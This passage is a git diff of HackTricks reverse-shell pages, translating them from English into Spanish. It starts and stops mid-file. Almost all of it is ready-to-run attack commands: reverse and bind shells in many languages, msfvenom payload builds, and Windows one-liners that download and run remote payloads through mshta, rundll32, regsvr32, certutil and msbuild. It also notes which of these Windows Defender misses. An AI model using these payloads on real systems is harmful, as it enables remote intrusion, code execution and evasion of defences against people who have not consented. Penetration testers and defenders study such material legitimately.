2>&1" attacker> ncat -l --ssl ``` - ## Golang - ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua - ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +El Atacante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +La Víctima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell de enlace ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### Shell inversa ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**Atacante** ```bash while true; do nc -l 79; done ``` +Para enviar el comando, escríbelo, presiona enter y presiona CTRL+D (para detener STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Víctima** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +Esto intentará conectarse a su sistema en el puerto 6001: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +Para capturar la reverse shell puedes usar (que escuchará en el puerto 6001): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +por [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: El reverse shell de Java también funciona para Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## Referencias - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..43a63d365 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- -## Basic msfvenom +## Básico msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +También se puede usar `-a` para especificar la arquitectura o `--platform` +## Listando ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## Parámetros comunes al crear un shellcode ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **Shell Inversa** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - -### Bind Shell - +### Shell de enlace ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### Crear Usuario ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - ### CMD Shell - ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **Ejecutar Comando** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### Codificador ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### Integrado dentro del ejecutable ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +## Cargas Útiles de Linux -## Linux Payloads - -### Reverse Shell - +### Shell Inversa ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - -### Bind Shell - +### Shell de enlace ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **Payloads de MAC** -## **MAC Payloads** - -### **Reverse Shell:** - +### **Shell Inversa:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - -### **Bind Shell** - +### **Shell de enlace** ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **Cargas Útiles Basadas en la Web** ### **PHP** -#### Reverse shel**l** - +#### Shell inverso ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### Shell inversa ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### Shell inversa ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### GUERRA -### WAR - -#### Reverse Shell - +#### Shell Inversa ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **Cargas útiles de lenguaje de script** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..180db749a 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para Linux.\ +Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (mal)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.** ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +víctima ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +atacante ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable para Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - ## Python - ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl - ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua - ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +Atacante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +Víctima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell - ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +Proceso que realiza la llamada de red: **powershell.exe**\ +Carga útil escrita en el disco: **NO** (_al menos en ningún lugar que pudiera encontrar usando procmon !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +Proceso que realiza la llamada de red: **svchost.exe**\ +Carga útil escrita en el disco: **Caché local del cliente WebDAV** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**Una línea:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**Obtén más información sobre diferentes Shells de Powershell al final de este documento** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **Ejemplo de shell inverso hta-psh (usar hta para descargar y ejecutar puerta trasera PS)** ```xml - + ``` +**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager hta** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### ejemplo de hta +[**Desde aquí**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Detectado por el defensor** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Ejemplo de dll hello world**](https://github.com/carterjones/hello-world-dll) +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**Detectado por el defensor** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**Detectado por el defensor** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**Desde aquí**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager regsvr** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +Descarga un B64dll, decodifícalo y ejecútalo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +Descarga un B64exe, decodifícalo y ejecútalo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Detectado por el defensor** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**Detectado por el defensor** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Proceso que realiza la llamada de red: **svchost.exe**\ +Carga útil escrita en el disco: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**Detectado por el defensor** ## **MSIExec** -Attacker - +Atacante ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +Víctima: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**Detectado** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +Ejemplo de archivo xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**No detectado** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager wmic** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +Puedes usar esta técnica para eludir la lista blanca de aplicaciones y las restricciones de Powershell.exe. Se te presentará un shell de PS.\ +Simplemente descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**No detectado** ## **CSC** -Compile C# code in the victim machine. - +Compila código C# en la máquina víctima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**No detectado** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**No lo he probado** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Desde aquí](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**No lo he probado** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haz una copia del script y añade al final del archivo: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +Comienza a servir el script en un servidor web y ejecútalo en el lado de la víctima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender no lo detecta como código malicioso (aún, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: Verificar 